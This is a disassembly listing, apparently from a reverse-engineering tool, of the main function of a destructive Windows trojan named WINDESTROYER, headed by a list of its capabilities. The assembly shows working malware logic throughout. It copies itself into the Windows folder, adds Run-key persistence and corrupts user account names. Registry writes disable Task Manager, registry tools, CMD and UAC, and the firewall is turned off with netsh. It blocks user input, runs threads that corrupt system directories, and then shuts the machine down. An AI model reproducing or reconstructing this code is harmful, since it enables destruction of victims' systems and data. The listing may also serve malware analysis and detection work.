Function at 0x401aeb
Capabilities:
Copy file
Create process on windows
Create thread
Disable system features via registry on windows
Hide graphical window
List user accounts
Persist via run registry key
Query environment variable
Set registry value
Shutdown system
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x7e4
call sym.___main
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x12c]
mov dword [esp + 4], eax
mov dword [esp], str.WINDIR
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x230]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x12c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sWINDESTROYER.EXE
lea eax, [ebp - 0x334]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x334]
mov dword [esp], eax
call sym._FileExists
test eax, eax
jne 0x402224
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], str.WINDESTROYER
mov dword [esp + 4], str.Warning__Youve_just_executed_an_insanely_powerful_trojan_known_as_WINDESTROYER__the_A_variant___it_can_AND_WILL_destroy_your_computer._You_will_lose_all_data__all_system_and_personal_files__and_the_ability_to_boot_into_the_OS._nWINDESTROYER_was_NEVER_intended_to_be_used_for_malicious_purposes__so_the_creator_is_not_responsible_for_any_damage._n_nThis_is_your_last_chance_to_stop_this_trojan_from_running____nContinue__There_is_no_going_back_after_this.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
jne 0x401be8
mov eax, 0
jmp 0x4027e0
mov dword [esp + 8], 0
lea eax, [ebp - 0x334]
mov dword [esp + 4], eax
lea eax, [ebp - 0x230]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x7b8]
mov dword [esp + 4], eax
mov dword [esp], str.USERPROFILE
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x7b8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sDesktop
lea eax, [ebp - 0x6b4]
mov dword [esp], eax
call sym._sprintf
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x344], 0
lea eax, [ebp - 0x344]
mov dword [esp + 0x1c], eax
lea eax, [ebp - 0x33c]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x338]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x340]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._NetUserEnum_32
sub esp, 0x20
mov dword [ebp - 0xc], 0
jmp 0x401d52
mov edx, dword [ebp - 0x340]
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, edx
mov eax, dword [eax]
mov dword [esp], eax
call sym._corruptUsername
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x401d4e
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x368], eax
mov edx, dword [ebp - 0x340]
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, edx
mov eax, dword [eax]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x368]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._NetUserSetInfo_20
sub esp, 0x14
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._free
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0xc], eax
jb 0x401cdc
mov eax, dword [ebp - 0x340]
test eax, eax
je 0x401d86
mov eax, dword [ebp - 0x340]
mov dword [esp], eax
call sym._NetApiBufferFree_4
sub esp, 4
mov dword [ebp - 0x340], 0
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x5b0]
mov dword [esp + 4], eax
mov dword [esp], str.TEMP
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x5b0]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_bg.bmp
lea eax, [ebp - 0x4ac]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x4082ce
lea eax, [ebp - 0x4ac]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x7a
mov dword [esp + 4], 1
mov dword [esp], 0x407020
call sym._fwrite
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._fclose
lea eax, [ebp - 0x348]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.Control_PanelDesktop
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
mov dword [esp + 8], sym._CorruptMsgBox_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x348]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [ebp - 0x34c], 1
mov dword [ebp - 0x350], 0
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x354]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
lea eax, [ebp - 0x354]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x354]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x34c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableTaskMgr
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x354]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x34c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableRegistryTools
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x354]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x358]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREPoliciesMicrosoftWindows
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x358]
mov dword [esp + 0x20], 0
lea edx, [ebp - 0x35c]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.System
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x35c]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x34c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableCMD
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
lea eax, [ebp - 0x360]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
lea eax, [ebp - 0x334]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x360]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x334]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0x4083ae
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x360]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
lea eax, [ebp - 0x364]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x364]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x350]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.EnableLUA
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x364]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp], 0x12c
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x6b4]
mov dword [esp], eax
call sym._CorruptFilesInDirectory_4
sub esp, 4
mov dword [esp + 4], 0
mov dword [esp], str.netsh.exe_firewall_set_opmode_modedisabled_profileall
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], str.WINDESTROYER.exe
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov eax, 0
jmp 0x4027e0
call sym._SeShutdownPrivilege
call sym._InitSinTable
mov dword [esp], 1
mov eax, dword [sym.imp.USER32.dll_BlockInput]
call eax
sub esp, 4
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:Windows
mov dword [esp + 8], sym._CorruptFilesInDirectory_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsWinSxS
mov dword [esp + 8], sym._CorruptFilesInDirectory_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsSystem32
mov dword [esp + 8], sym._CorruptFilesInDirectory_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsSystem32
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._NullWriter_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [sym.imp.USER32.dll_GetDesktopWindow]
call eax
lea edx, [ebp - 0x378]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetClientRect]
call eax
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [0x40b0a0], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b0a4], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b0a8], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b0ac], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b0b0], eax
mov dword [0x40b0b4], 0xf
mov dword [0x40b0b8], 0
mov dword [0x40b0bc], 0x4038dc
mov eax, dword [ebp - 0x10]
mov dword [0x40b0c0], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b0c4], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b0c8], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b0cc], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b0d0], eax
mov dword [0x40b0d4], 5
mov dword [0x40b0d8], 0
mov dword [0x40b0dc], 0x403a74
mov eax, dword [ebp - 0x10]
mov dword [0x40b0e0], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b0e4], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b0e8], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b0ec], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b0f0], eax
mov dword [0x40b0f4], 0xf
mov dword [0x40b0f8], 0
mov dword [0x40b0fc], 0x403b9e
mov eax, dword [ebp - 0x10]
mov dword [0x40b100], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b104], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b108], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b10c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b110], eax
mov dword [0x40b114], 0xf
mov dword [0x40b118], 0
mov dword [0x40b11c], 0x403d08
mov eax, dword [ebp - 0x10]
mov dword [0x40b120], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b124], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b128], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b12c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b130], eax
mov dword [0x40b134], 0xf
mov dword [0x40b138], 0
mov dword [0x40b13c], 0x403e97
mov eax, dword [ebp - 0x10]
mov dword [0x40b140], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b144], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b148], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b14c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b150], eax
mov dword [0x40b154], 0xf
mov dword [0x40b158], 0
mov dword [0x40b15c], 0x404050
mov eax, dword [ebp - 0x10]
mov dword [0x40b160], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b164], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b168], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b16c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b170], eax
mov dword [0x40b174], 0xf
mov dword [0x40b178], 0
mov dword [0x40b17c], 0x40426b
mov eax, dword [ebp - 0x10]
mov dword [0x40b180], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b184], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b188], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b18c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b190], eax
mov dword [0x40b194], 0xf
mov dword [0x40b198], 0
mov dword [0x40b19c], 0x4043d4
mov dword [0x40b060], 0x3e80
mov dword [0x40b064], 0x3a980
mov dword [0x40b068], 0x4029d6
mov dword [0x40b06c], 0x1f40
mov dword [0x40b070], 0x1d4c0
mov dword [0x40b074], 0x402a4e
mov dword [0x40b078], 0xbb80
mov dword [0x40b07c], 0xafc80
mov dword [0x40b080], 0x402abd
mov dword [0x40b084], 0x1f40
mov dword [0x40b088], 0x1d4c0
mov dword [0x40b08c], 0x402bbd
mov dword [0x40b040], 0x404504
mov dword [0x40b044], 0x40464a
mov dword [0x40b048], 0x4048d3
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [ebp - 0x14], eax
mov dword [esp], 1
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [ebp - 0x18], eax
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._AudioThread_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 7
mov dword [esp + 8], sym._ShaderThread_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 7
mov dword [esp + 8], sym._ShaderThread_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_BlockInput]
call eax
sub esp, 4
mov dword [esp + 4], 0x10000
mov dword [esp], 0xc
mov eax, dword [sym.imp.USER32.dll_ExitWindowsEx]
call eax
sub esp, 8
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret